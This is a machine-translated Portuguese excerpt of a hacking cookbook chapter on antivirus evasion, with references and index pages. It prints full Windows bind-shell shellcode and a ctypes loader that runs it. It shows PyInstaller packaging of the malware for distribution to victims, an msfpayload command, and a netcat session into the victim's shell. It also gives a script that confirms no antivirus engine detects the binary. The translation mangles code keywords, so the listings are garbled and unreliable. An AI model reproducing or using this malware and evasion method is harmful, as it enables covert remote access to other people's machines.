"\ Xc2 \ xdb \ x37 \ x67 \ xff \ XD5 \ x53 \ x57 \ x68 \ xb7 \ xe9 \ x38 \ xff \ xff \ XD5"
"\ X53 \ x53 \ x57 \ x68 \ x74 \ XEC \ x3b \ XE1 \ xff \ XD5 \ x57 \ x89 \ xc7 \ x68 \ x75"
"\ X6e \ x4d \ x61 \ xff \ XD5 \ x68 \ x63 \ X6D \ x64 \ x00 \ x89 \ XE3 \ x57 \ x57 \ x57"
"\ X31 \ XF6 \ x6a \ x12 \ x59 \ x56 \ XE2 \ xfd \ x66 \ xc7 \ x44 \ x24 \ X3C \ x01 \ x01"
"\ X8d \ x44 \ x24 \ x10 \ XC6 \ x00 \ x44 \ x54 \ x50 \ x56 \ x56 \ x56 \ x46 \ x56 \ x4e"
"\ X56 \ x56 \ x53 \ x56 \ x68 \ x79 \ xcc \ X3F \ x86 \ xff \ XD5 \ x89 \ xE0 \ x4e \ x56"
"\ X46 \ xff \ x30 \ x68 \ x08 \ x87 \ x1d \ x60 \ xff \ XD5 \ xbb \ xf0 \ XB5 \ xa2 \ x56"
"\ X68 \ xa6 \ x95 \ XBD \ X9D \ xff \ XD5 \ X3C \ x06 \ x7c \ x0a \ x80 \ XFB \ xE0 \ x75"
"\ X05 \ xbb \ x47 \ x13 \ x72 \ x6f \ x6a \ x00 \ x53 \ xff \ XD5";

Em seguida, vamos escrever um script que irá executar o shellcode de estilo C. Python permite
para a importação de bibliotecas de funções estrangeiros. Nós podemos importar os ctypes biblioteca, que
nos permitirá interagir com tipos de dados para a linguagem de programação C. Depois de
definindo uma variável para armazenar o nosso shellcode, nós simplesmente lançá­lo como uma função C e
executá­lo. Para referência futura, vamos salvar este fi le como bindshell.py:
de ctypes importação *
shellcode = ( "\ XFC \ xe8 \ x89 \ x00 \ x00 \ x00 \ x60 \ x89 \ xe5 \ x31 \ xd2 \ x64
\ X8b \ x52 \ x30 "
"\ X8b \ x52 \ x0c \ x8b \ x52 \ x14 \ x8b \ x72 \ x28 \ x0f \ xb7 \ X4a \ x26 \ x31 \ xff"
"\ X31 \ xc0 \ XAC \ X3C \ x61 \ x7c \ x02 \ X2c \ x20 \ XC1 \ xcf \ x0d \ x01 \ xc7 \ XE2"
"\ Xf0 \ x52 \ x57 \ x8b \ x52 \ x10 \ x8b \ x42 \ X3C \ x01 \ xd0 \ x8b \ x40 \ x78 \ x85"
"\ Xc0 \ x74 \ X4a \ x01 \ xd0 \ x50 \ x8b \ x48 \ x18 \ x8b \ x58 \ x20 \ x01 \ xd3 \ XE3"
"\ X3C \ x49 \ x8b \ x34 \ x8b \ x01 \ xd6 \ x31 \ xff \ x31 \ xc0 \ XAC \ XC1 \ xcf \ x0d"
"\ X01 \ xc7 \ x38 \ xE0 \ x75 \ XF4 \ x03 \ x7d \ XF8 \ x3b \ x7d \ x24 \ x75 \ XE2 \ x58"
"\ X8b \ x58 \ x24 \ x01 \ xd3 \ x66 \ x8b \ x0c \ X4B \ x8b \ x58 \ X1c \ x01 \ xd3 \ x8b"
"\ X04 \ x8b \ x01 \ xd0 \ x89 \ x44 \ x24 \ x24 \ X5b \ X5b \ x61 \ x59 \ X5a \ x51 \ xff"
"\ XE0 \ x58 \ x5f \ X5a \ x8b \ x12 \ XEB \ x86 \ X5D \ x68 \ x33 \ x32 \ x00 \ x00 \ x68"
"\ X77 \ x73 \ x32 \ x5f \ x54 \ x68 \ x4c \ x77 \ x26 \ x07 \ xff \ XD5 \ XB8 \ x90 \ x01"
"\ X00 \ x00 \ x29 \ XC4 \ x54 \ x50 \ x68 \ x29 \ x80 \ x6b \ x00 \ xff \ XD5 \ x50 \ x50"
"\ X50 \ x50 \ x40 \ x50 \ x40 \ x50 \ x68 \ XEA \ x0f \ xdf \ xE0 \ xff \ XD5 \ x89 \ xc7"
"\ X31 \ xdb \ x53 \ x68 \ x02 \ x00 \ x05 \ x39 \ x89 \ XE6 \ x6a \ x10 \ x56 \ x57 \ x68"
"\ Xc2 \ xdb \ x37 \ x67 \ xff \ XD5 \ x53 \ x57 \ x68 \ xb7 \ xe9 \ x38 \ xff \ xff \ XD5"
"\ X53 \ x53 \ x57 \ x68 \ x74 \ XEC \ x3b \ XE1 \ xff \ XD5 \ x57 \ x89 \ xc7 \ x68 \ x75"
"\ X6e \ x4d \ x61 \ xff \ XD5 \ x68 \ x63 \ X6D \ x64 \ x00 \ x89 \ XE3 \ x57 \ x57 \ x57"

248 CAPÍTULO 7: Evasão antivírus com Python

"\ X31 \ XF6 \ x6a \ x12 \ x59 \ x56 \ XE2 \ xfd \ x66 \ xc7 \ x44 \ x24 \ X3C \ x01 \ x01"
"\ X8d \ x44 \ x24 \ x10 \ XC6 \ x00 \ x44 \ x54 \ x50 \ x56 \ x56 \ x56 \ x46 \ x56 \ x4e"
"\ X56 \ x56 \ x53 \ x56 \ x68 \ x79 \ xcc \ X3F \ x86 \ xff \ XD5 \ x89 \ xE0 \ x4e \ x56"
"\ X46 \ xff \ x30 \ x68 \ x08 \ x87 \ x1d \ x60 \ xff \ XD5 \ xbb \ xf0 \ XB5 \ xa2 \ x56"
"\ X68 \ xa6 \ x95 \ XBD \ X9D \ xff \ XD5 \ X3C \ x06 \ x7c \ x0a \ x80 \ XFB \ xE0 \ x75"
"\ X05 \ xbb \ x47 \ x13 \ x72 \ x6f \ x6a \ x00 \ x53 \ xff \ XD5");
memorywithshell = create_string_buffer (shellcode, len (shellcode))
shell = cast (memorywithshell, CFUNCTYPE (c_void_p))
Concha()

Enquanto o script neste momento será executado em uma máquina Windows com um
interpretador Python instalado, vamos melhorá­lo através da compilação do software com
Pyinstaller (disponível a partir de http://www.pyinstaller.org/). Pyinstaller conti­
vert nosso script Python em um executável autônomo que pode ser distribuído para
sistemas que não têm um interpretador Python. Antes de compilar o nosso script, é
necessário para executar o script gure.py Con fi empacotado com Pyinstaller:
Microsoft Windows [versão 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. Todos os direitos reservados.
C: \ Users \ vítima> cd pyinstaller­1.5.1
C: \ Users \ vítima \ pyinstaller­1.5.1> python.exe configure.py
I: leia configuração antigo de config.dat
I: EXE_dependencies computação
I: Encontrando TCL / TK ...
<.. Cortou ..>
I: testes para UPX ...
I: ... UPX indisponíveis
I: Computação dependências Pyz ...
I: feito config.dat geração

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 163/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Em seguida, vamos instruir Pyinstaller para construir uma especificação executável fi le para um Windows
executável portátil. Vamos instruir Pyinstaller não exibir um console com
a opção ­­noconsole e para construir o executável fi nal em um único fl no fi le
com o fi le opção ­­one:
C: \ Users \ vítima pyinstaller­1.5.1 \> python.exe Makespec.py ­­onefile
bindshell.py ­­noconsole
escreveu C: \ Users \ vítima \ pyinstaller­1.5.1 \ bindshell \ bindshell.spec
agora executar Build.py para construir o executável

Fugindo programas antivírus 249

Com o fi especificação le construída, podemos instruir Pyinstaller para construir um executável para
redistribuição para nossas vítimas. Pyinstaller cria um executável chamado bind­
Shell.exe no diretório \ bindshell \ dist. agora podemos redistribuir este exe­
capaz de qualquer de 32 bits vítima do Windows:

C: \ Users \ vítima pyinstaller­1.5.1 \> python.exe Build.py bindshell \
bindshell.spec
I: montagens dependentes de C: \ python27 \ python.exe:
I: x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_none
Análise verificação
<.. Cortou ..>
verificando EXE
reconstrução outEXE2.toc porque bindshell.exe faltando
edifício EXE a partir outEXE2.toc
Anexar arquivo para EXE bindshell \ dist \ bindshell.exe

Depois de executar o executável em uma vítima, vemos que a porta TCP 1337 é ouvir:

C: \ Users \ vítima \ pyinstaller­1.5.1 \ bindshell \ dist> bindshell.exe
C: \ Users \ vítima pyinstaller­1.5.1 \ \ bindshell \ dist> netstat ­anp TCP
Conexões ativas
proto Endereço local Endereço Estrangeiro Estado
TCP 0.0.0.0:135 0.0.0.0:0 OUVINDO
TCP 0.0.0.0:1337 0.0.0.0:0 OUVINDO
TCP 0.0.0.0:49152 0.0.0.0:0 OUVINDO
TCP 0.0.0.0:49153 0.0.0.0:0 OUVINDO
TCP 0.0.0.0:49154 0.0.0.0:0 OUVINDO
TCP 0.0.0.0:49155 0.0.0.0:0 OUVINDO
TCP 0.0.0.0:49156 0.0.0.0:0 OUVINDO
TCP 0.0.0.0:49157 0.0.0.0:0 OUVINDO

Conectando­se ao endereço IP da vítima e porta TCP 1337, vemos o nosso mal­
Ware é trabalhado com sucesso, como esperado. Mas pode escapar com sucesso
programas anti­vírus? Vamos escrever um script Python para verificar isso no próximo
seção:

atacante $ nc 192.168.95.148 1337
Microsoft Windows [versão 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. Todos os direitos reservados.
C: \ Users \ vítima \ pyinstaller­1.5.1 \ bindshell \ dist>

250 CAPÍTULO 7: Evasão antivírus com Python

VERIFICAÇÃO EVASÃO
Nós vamos usar o serviço vscan.novirusthanks.org para digitalizar o nosso executável. NoVi­
rusThanks fornece uma interface de página Web para carregar suspeito fi les e digitalizá­los
contra 14 antivírus diferentes. Enquanto estiver carregando o malicioso fi le
usando a interface de página da Web que nos dizer o que quer saber, vamos usar este
oportunidade de escrever um script Python rápido para automatizar o processo. capturando
ing um tcpdump da interação com a interface de página Web nos dá uma boa
ponto para o nosso script Python partida. Podemos ver aqui que o cabeçalho HTTP
inclui uma configuração para o limite que rodeia os fi le conteúdo. nosso script
vai exigir este cabeçalho e estes parâmetros, a fim de submeter o fi le:
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 164/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

POST / HTTP / 1.1
Anfitrião: vscan.novirusthanks.org
Content­Type: multipart / form­data; boundary = ­­­­ WebKitFormBoundaryF17r
wCZdGuPNPT9U

Referer: http://vscan.novirusthanks.org/
Accept­Language: en­us
Accept­Encoding: gzip, desinflar
­­­­­­­ WebKitFormBoundaryF17rwCZdGuPNPT9U
Content­Disposition: form­data; name = "upfile"; filename = "bindshell.
exe"
Content­Type: application / octet­stream
<.. Conteúdo do arquivo cortou ..>
­­­­­­ WebKitFormBoundaryF17rwCZdGuPNPT9U
Content­Disposition: form­data; name = "submitfile"
Enviar arquivo
­­­­­­ WebKitFormBoundaryF17rwCZdGuPNPT9U­­

Vamos agora escrever uma função Python rápida utilizando o httplib que leva o
fi nome le como um parâmetro. Depois de abrir o fi le e ler o conteúdo, ele
cria uma conexão com vscan.novirusthanks.org e envia o cabeçalho e dados
parâmetros. A página devolve uma resposta que se refere ao local de página de contenção
ing a análise da carregado fi le:

def uploadFile (nome do arquivo):
print "[+] O upload do arquivo para NoVirusThanks ..."
fileContents = open (fileName, 'rb'). read ()
header = { 'Content­Type': 'multipart / form­data; \
boundary = ­­­­ WebKitFormBoundaryF17rwCZdGuPNPT9U '}
params = "­­­­­­ WebKitFormBoundaryF17rwCZdGuPNPT9U"
params + = "\ r \ nContent­Disposition: form­data;" + \

Verificando Evasion
251

"Name = \" upfile \ "; filename = \" "+ str (fileName) +" \ ""
params + = "\ r \ nContent­Type:" + \
"Application / octeto de fluxo \ r \ n \ r \ n"
params + = fileContents
params + = "\ r \ n ­­­­­­ WebKitFormBoundaryF17rwCZdGuPNPT9U"
params + = "\ r \ nContent­Disposition: form­data;" + \
"Name = \" submitfile \ "\ r \ n"
params + = "\ r \ nSubmit Arquivo \ r \ n"
params + = "­­­­­­ WebKitFormBoundaryF17rwCZdGuPNPT9U ­ \ r \ n"
conn = httplib.HTTPConnection ( 'vscan.novirusthanks.org')
conn.request ( "POST", "/", params, cabeçalho)
response = conn.getresponse ()
location = response.getheader ( 'local')
conn.close ()
local de retorno

Examinando o retornou localização fi eld de vscan.novirusthanks.org, vemos
o servidor constrói a página voltou de http://vscan.novirusthanks.org +
/ Fi le / + md5sum (fi le conteúdos) + / + base64 (fi lename) /. A página contém
alguns JavaScript para imprimir uma mensagem dizendo digitalização fi le e recarregar a página
até uma página de análise completa está pronto. Nesse ponto, a página retorna um HTTP esta­
código de tus 302, que redireciona para http://vscan.novirusthanks.org + / análise / +
md5sum (fi le conteúdos) + / + base64 (fi lename) /. A nossa nova página simplesmente troca
a palavra fi le para análise na URL:

Data: Mon, 18 de junho de 2012 16:45:48 GMT
Servidor: Apache
Localização: http://vscan.novirusthanks.org/file/
d5bb12e32840f4c3fa00662e412a66fc / bXNmLWV4ZQ == /

Olhando sobre a fonte da página de análise, vemos que ele contém uma cadeia com
a taxa de detecção. A cadeia contém algum código CSS que será necessário retirar
de distância, a fim de imprimi­lo a uma tela de console:

[I] Informações do arquivo [/ i]
data do relatório: 2012­06­18 18:48:20 GMT (1)
O nome do arquivo: [b] bindshell­exe [/ b]
Tamanho: 73802 bytes
MD5 Hash: d5bb12e32840f4c3fa00662e412a66fc

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 165/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
SHA1 Hash: e9309c2bb3f369dfbbd9b42deaf7c7ee5c29e364
taxa de detecção: [color = red] 0 [/ color] no dia 14 ([color = red] 0% [/ color])

252 CAPÍTULO 7: Evasão antivírus com Python

Com uma compreensão de como se conectar à página de análise e tira a
código CSS, podemos escrever um script Python para imprimir os resultados da verificação do nosso
suspeito carregado fi le. Em primeiro lugar, o nosso script se conecta ao fi le página, que retorna
a digitalização em andamento mensagem. Uma vez que esta página retorna um HTTP 302 redirecionamento para
nossa análise de página, podemos usar uma expressão regular para ler a taxa de detecção e
em seguida, substituir o código CSS com uma cadeia em branco. Nós, então, imprimir a detecção
cadeia de taxa para a tela:
printResults def (URL):
estado = 200
host = urlparse (url) [1]
path = urlparse (url) [2]
se "análise" não no caminho:
enquanto status! = 302:
conn = httplib.HTTPConnection (host)
conn.request ( 'GET', path)
resp = conn.getresponse ()
estado = resp.status
print '[+] arquivo Digitalização ...'
conn.close ()
time.sleep (15)
print '[+] varredura completa.
path = path.replace ( 'arquivo', 'análise')
conn = httplib.HTTPConnection (host)
conn.request ( 'GET', path)
resp = conn.getresponse ()
data = resp.read ()
conn.close ()
reResults = re.findall (taxa de r'Detection:. * \) ', de dados)
htmlStripRes = reResults [1]. \
replace ( '<font color = \' \ red '>', ''). \
replace ( '</ font>', '')
print '[+]' + str (htmlStripRes)
Adicionando um pouco de análise opção, agora temos um script capaz de carregar um fi le,
digitalizá­lo usando o vscan.novirusthanks.org serviço, e imprimir o detector
taxa ção:
importação re
importar httplib
tempo de importação

Verificando Evasion
253

import os
optparse importação
de urlparse importação urlparse
printResults def (URL):
estado = 200
host = urlparse (url) [1]
path = urlparse (url) [2]
se "análise" não no caminho:
enquanto status! = 302:
conn = httplib.HTTPConnection (host)
conn.request ( 'GET', path)
resp = conn.getresponse ()
estado = resp.status
print '[+] arquivo Digitalização ...'
conn.close ()
time.sleep (15)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 166/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
print '[+] varredura completa.
path = path.replace ( 'arquivo', 'análise')
conn = httplib.HTTPConnection (host)
conn.request ( 'GET', path)
resp = conn.getresponse ()
data = resp.read ()
conn.close ()
reResults = re.findall (taxa de r'Detection:. * \) ', de dados)
htmlStripRes = reResults [1]. \
replace ( '<font color = \' \ red '>', ''). \
replace ( '</ font>', '')
print '[+]' + str (htmlStripRes)
def uploadFile (nome do arquivo):
print "[+] O upload do arquivo para NoVirusThanks ..."
fileContents = open (fileName, 'rb'). read ()
header = { 'Content­Type': 'multipart / form­data; \
boundary = ­­­­ WebKitFormBoundaryF17rwCZdGuPNPT9U '}
params = "­­­­­­ WebKitFormBoundaryF17rwCZdGuPNPT9U"
params + = "\ r \ nContent­Disposition: form­data;" + \
"Name = \" upfile \ "; filename = \" "+ str (fileName) +" \ ""
params + = "\ r \ nContent­Type:" + \
"Application / octeto de fluxo \ r \ n \ r \ n"

254 CAPÍTULO 7: Evasão antivírus com Python

params + = fileContents
params + = "\ r \ n ­­­­­­ WebKitFormBoundaryF17rwCZdGuPNPT9U"
params + = "\ r \ nContent­Disposition: form­data;" + \
"Name = \" submitfile \ "\ r \ n"
params + = "\ r \ nSubmit Arquivo \ r \ n"
params + = "­­­­­­ WebKitFormBoundaryF17rwCZdGuPNPT9U ­ \ r \ n"
conn = httplib.HTTPConnection ( 'vscan.novirusthanks.org')
conn.request ( "POST", "/", params, cabeçalho)
response = conn.getresponse ()
location = response.getheader ( 'local')
conn.close ()
local de retorno
def main ():
parser = optparse.OptionParser ( 'uso% prog ­f <filename>')
parser.add_option ( '­ f', dest = 'filename', type = 'string', \
help = 'especificar filename')
(Opções, args) = parser.parse_args ()
fileName = options.fileName
Se filename == None:
parser.usage de impressão
exit (0)
elif os.path.isfile (fileName) == False:
print '[+]' + fileName + 'não existe.'
exit (0)
outro:
loc = uploadFile (nome do arquivo)
printResults (loc)
se __name__ == '__main__':
a Principal()

Vamos primeiro testar um executável malicioso conhecido para verificar se um pro­ antivírus
gram pode detectá­lo com sucesso. Nós vamos construir um bindshell do Windows TCP que
se liga a porta TCP 1337. Usando o codificador Metasploit padrão, vamos codificá­lo
em um executável padrão do Windows. Percebendo os resultados, podemos ver que 10
dos 14 antivírus detectou a fi le como malicioso. Este fi le vai obvi­
amente não escapar a um programa antivírus decente:
janelas atacante $ msfpayload / shell_bind_tcp LPORT = 1337 X> bindshell.
exe

Criado por msfpayload (http://www.metasploit.com).

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 167/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Wrap Up 255

Payload: windows / shell_bind_tcp
Comprimento: 341
Opções: { "LPORT" => "1337"}
atacante $ python virusCheck.py ­f bindshell.exe
[+] O upload do arquivo para NoVirusThanks ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Varredura completa.
[+] Taxa de detecção: 10 em 14 (71%)

No entanto, executar nosso script virusCheck.py contra o nosso script Python compilados
executável, podemos enviá­lo para NoVirusThanks e ver que 14 dos 14 anti­
mecanismos de vírus não conseguiu detectá­lo como malicioso. Sucesso! Podemos alcançar completa
evitar antivírus com um pouco de Python:

C: \ Users \ vítima pyinstaller­1.5.1 \> python.exe virusCheck.py ­f
bindshell \ dist \ bindshell.exe
[+] O upload do arquivo para NoVirusThanks ...
[+] Varredura completa.
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Arquivo Digitalização ...
[+] Taxa de detecção: 0 a 14 (0%)

EMBRULHAR
Parabéns! Você tem acabado capítulo fi nal, e espero que o livro
também. As páginas anteriores cobriram uma variedade de diferentes conceitos.
Começando com a forma de escrever algum código Python para ajudar com rede

256 CAPÍTULO 7: Evasão antivírus com Python

testes de penetração, nós transferida para escrever código para estudar arti­ forense
fatos, analisando o tráfego de rede fi c, causando caos sem fio e analisando Web
páginas e mídia social. Este capítulo fi nal explicou um método para a escrita
programas maliciosos capazes de evadir scanners antivírus.
Após fi nishing este livro, voltar aos capítulos anteriores. Como você pode modificar
os scripts para atender às suas necessidades específicas? Como você pode torná­los mais efi­
tiva, eficientes, ou letal? Considere o exemplo neste capítulo. Você pode usar
uma cifra de criptografia para codificar o shellcode antes da execução, a fim de
iludir uma assinatura de antivírus? O que você vai escrever em Python hoje? Com estas
pensamentos, nós deixá­lo com algumas palavras de sabedoria de Aristóteles.
"Nós fazemos a guerra que nós podemos viver em paz."

Referências
Baggett, M. (2011). Dicas para fugir anti­vírus durante os testes Pen. SANS Pentest blog . Retirado
a partir <http://pen­testing.sans.org/blog/2011/10/13/tips­for­evading­anti­virus­during­pen­
testes>,De Outubro de 13 anos.
Computador de Resposta Centro de Emergência Equipa de Coordenação (CERTCC). (2012). Identi fi cação de um
novo alvo de ciber­ataque. CERTCC IRAN. Retirado de <http://www.certcc.ir/index.php?na
me = news & fi le = artigo & sid = 1894>,Maio de 28.
Gostev, A. (2012). A Chama: Perguntas e respostas. SecureList ­ Informações sobre vírus,
hackers e spam. Retirado de <http://www.securelist.com/en/blog/208193522/The_
Flame_Questions_and_Answers>,Maio de 28.
sKyWIper Team Analysis. (2012). sKyWIper (aka Chama; aka Flamer): A malwares complexo para
ataques direcionados. Laboratório de Criptografia e Sistema de Segurança (CrySyS Lab) / Departamento de
Comunicações, Universidade de Tecnologia de Budapeste e economia. Obtido em <http: //

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 168/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
www.crysys.hu/skywiper/skywiper.pdf>,Maio de 31.
Zetter, K. (2012). "Flame" spyware no fi ltrating computadores iranianos. CNN.com. Retirado de
<Http://www.cnn.com/2012/05/29/tech/web/iran­spyware­ fl ame / index.html>,Maio de 30.

FM Header
Índice

UMA canais não autenticados,
205­206
o uso do Nmap­Python
módulo, 69
partilha de rede administrativa
Bridging FTP e web bruta execução do processo remoto
(ADMIN $), 67 servidor FTP anônimo com vigor, 71
ADMIN $. Ver rede Administrativo
Python, 57 serviço de SMB do Windows
compartilhar
servidor infectado, 56 atacante
airmon­ng start wlan0 comando, 172
ataque k985ytv, 56 usando Metasploit, 67­68
Anonymous email, 236­237
as credenciais do usuário a exploração do sistema, 68­69
crafting, 237, 239­241
função bruteLogin (), 58 envolvendo script inteiro, 71­74,
servidor de e­mail local, 238­239
encontrando conta com a senha domínio Con fi de cker fl uxo, 150
e­mail de spam malicioso que envia,
convidado, 59 detecção com scapy,
241­242
A página web injeção maliciosa, 60 153­154
phishing com smtplib, 239 consolidada . db , 116­117
A página index.html
usando smtplib, 237­238
downloading, 62 cookies.sqlite , 109­110
investigação artefato aplicativo, 100
Veja também Python função injectPage (), 61 Elaboração de quadros 802.11
cliente vulnerável, 60­61 command­terra de emergência,
bancos de dados do Firefox sqlite3, 108­116
envolvendo ataque inteiro 194­195
consultas de banco de dados do Skype, 108
função de ataque (), 62 injectCmd () método,
usando Python para, 102
falso propagação Antivirus, 66 193­194
usando sqlite3 para, 102, 107­108
infecção k985ytv, 62­65 IP comprimento campo, 192­194
banco de dados Skype sqlite3, 100­102
script em FTP vulnerável, usando scapy, 192
65 função crypt (), 22
B força bruta CSR. Ver Radio Cambridge Silicon
BackTrack distribuição, 4 força bruta senha, 48 ctypes, 247­248
BeautifulSoup, download de imagem execução do processo remoto, 71 Ovo do cuco, A, 20­21
com, 96­97 Built­in módulo de OS, 18­20 Cibernético programa Fast Track, 24
ataque BlueBug, 208 Built­in módulo sys, 17­18 Ataque cibernético
telefone bluebugging, 208­209 Butler, Max Ray, 171­172 evadir programas antivírus
Bluetooth C­estilo shellcode, 247­248
verme, 208 C framework Metasploit,
Instalando o Python Bluetooth 246­247
Cabir, 208
pacotes, 173­174 Pyinstaller, 248­249
C­estilo shellcode, 247­248
Paris Hilton não hackeado porta TCP 1337, 249
Cambridge Silicon Radio (CSR), 174
por, 208 evasão veri fi cação
Apanhar Wordpress cookie de reutilização,
canal Bluetooth RFCOMM usando padrão Metasploit
199­201
exploração codificador, 254­255
Con fi cker, 66
a descoberta de serviços Bluetooth malicioso fi le, 250
Veja também Morris verme
pro fi le, 206 impressão cadeia taxa de detecção,
interação Python com
apelidado BlueBug, 205 252­254
Metasploit
conexões RFCOMM, 206 usando Python, 255 257
processo Meterpreter, 70

258 Index

le análise carregado fi, artefatos de aplicativos Interceptar tráfego fi c, 189­192


250­251 investigação, 100 navegação na Internet, 212­213
Chama, 245­246 automatizar o banco de dados Skypefunção anônimos,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 169/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
consultas ,, 102­108 218­219
D analisar Firefox sqlite3 data­
bases, 108­116
cookies, 216
classe principal de mecanizar,
datetime () método, 101­102
banco de dados Skype sqlite3, 212­213
DDoS. Veja distribuído de negação de servidores proxy, 214­215
100­102
serviço
a recuperação de item excluído usandouser­agent, 215­216
De­cloaking escondido 802.11,
Python in, 89 endereço de Protocolo de Internet
188­189
usando o módulo de OS, 90 (Endereço IP), 126­127
Dicionários, 9
correlação SID para o usuário, 90­93
Internet Protocol tráfego fi c
discover_devices () função, 201
backups móveis iTunes (IP tráfego fi c), 126­127
Negação de serviço distribuída
investigação, 116­122 usando Dpkt, 128­129
(DDoS), 93
metadados, 93 packet manipulação scapy,
DNS. Ver Domain Name Service
Metadados EXIF, 95­96 128
DNS Pergunta Record (DNSQR),
imagem de download, 96­97 usando PyGeoIP, 127­128
150­151
usando pyPdf para analisar PDFInternet Relay Chat (IRC), 137
DNS Resource Record (DNSRR),
metadados, 93­95 Interpretados e Python interativo
150­151
lendo Exif metadados, relação
serviço de nome de domínio (DNS), 149 97­100 Veja também Python
downloads.sqlite fi le, 108­109
resolvendo assassinatos BTK, 81­82 métodos e funções, 6
análise de pontos de acesso sem fio, novo script, 6
E 82­83 programa, 6
manipulação de exceção, 10­12 endereço MAC submeter­se interpretador Python, 5­6
imagem Troca fi formato le (Exif), Wigle, 85­89 semântica, 6
95­96 leitura do Registro do Windows execução da instrução
Exif. Ver imagem Troca fi le usando WinReg, 83­85 processo, 6
formato FTP. Veja File Transfer Protocol sistema de detecção de intrusão (IDS),
Metadados EXIF, 95­96 credenciais FTP, 184 41­42, 162
leitura, 97­100 FTP sniffer credencial, 186 alertas, 163­164
logons FTP interceptar, 185­186 a análise de logs de, 165­168
F as credenciais do usuário interceptadas, 184
com scapy, 162
USER e PASS, 184­185 Endereço IP. Ver Protocolo de Internet
Fast­fl uxo, 149
endereço
File I / O, 16­17
File Transfer Protocol (FTP), G IP tráfego fi c. Ver Protocolo de Internet
tráfego fi c
56, 184 Geo­localização
IRC. Ver Internet Relay Chat
programas de cliente, 57­58 informações, 82­83, 97­98
backups móveis iTunes
pesquisar páginas da web na, 59­60 posicionamento Wi­Fi, 85
servidor, 10 investigação
Google Earth, 134 consolidated.db , 116­117
bancos de dados do Firefox sqlite3, 108­116
esquema de banco de dados, 118
Firesheep, 196­197 H fi le caracteres, 117
captura Wordpress cookie de reutilização,
valor hash de senha, 22 usando fi comando le, 118
199­201
função haslayer (), 152 usando isMessageTable function (),
detecção, 196­197
hcicon fi g con fi g de comando, 174 119
cookies de sessão WordPress, mensagens tabela, 118­119
Oculto rede 802.11 beacon
198­199
detecção, 187­188 diretório de backup móvel,
Chama, 245­246
Varredura semi­aberto. Veja varredura TCP Syn 118­119
Frustrar IDS, com scapy, 162­168
directório móvel
alertas, 163­164
a análise de logs de, 165­168 Eu backup, 117
printMessage () função,
com scapy, 162 Iceman. Ver Butler, Max Ray
120­122
investigações forenses, 81­82 IDS. Ver sistema de detecção de intrusão

Índice 259

banco de dados SQLite, 118 mon0 adaptador, 172 o ovo de cuco, 20­21


Morris worm 31­32
armazenamento de mensagem de texto, 122 cracker de senha UNIX,
comandos UNIX, ponte FTP e web, 56­66 21­24
117­118 scanner de porta, 32­33 zip­ fi le senha biscoito,
usuário executa, 117 BSD sockets, 32 24­29
TCP, 32 criação de desenvolvimento
K sockets TCP / IP, 32 meio Ambiente
SSH, 41­56 interpretados vs. interativo
Kevin Mitnick
Python, 5­6
e previsão de sequência,
154­162 N site de download Python, 2
Python biblioteca padrão, 2
número de seqüência, 157­159 National Oceanic and
bibliotecas de terceiros instalação
spoo fi ng, 159­162 atmospheric Administration
ções, 3­5
SYN fl ood, 155­157 (NOAA), 214
pacotes de terceiros, 2
detecção de intrusão baseada em rede
rede de computadores do Pentágono, 143
eu sistema (NIDS), 162
função checkTTL (), 147
Networking, 9­10
bibliotecas Linux, 5 chamariz Nmap digitalizar identi fi cação,
NIDS. Ver intrusão baseada em rede
estrutura de dados lista em Python, 8­9 149
sistema de detecção
Escuta de 802.11 pedidos de sondagem, função testTTL (), 146
NOAA. Veja National Oceanic and
186­187 TTL campo, 144­145
atmospheric Administration
Loic (LOIC), 54, módulo Pexpect, 42
135 Phishing com smtplib, 239
ataque DDoS O places.sqlite banco de dados, 111­112
identi fi cação, 139­140, Organizacional única fi er identi formato de documento portátil fi le
142­143 (OUI), 203 (PDF fi le), 93
pacotes TCP, 138­139 ­Chave pública cryptograph, 50
download, 135­136 P roteiro Pxssh, 45­46
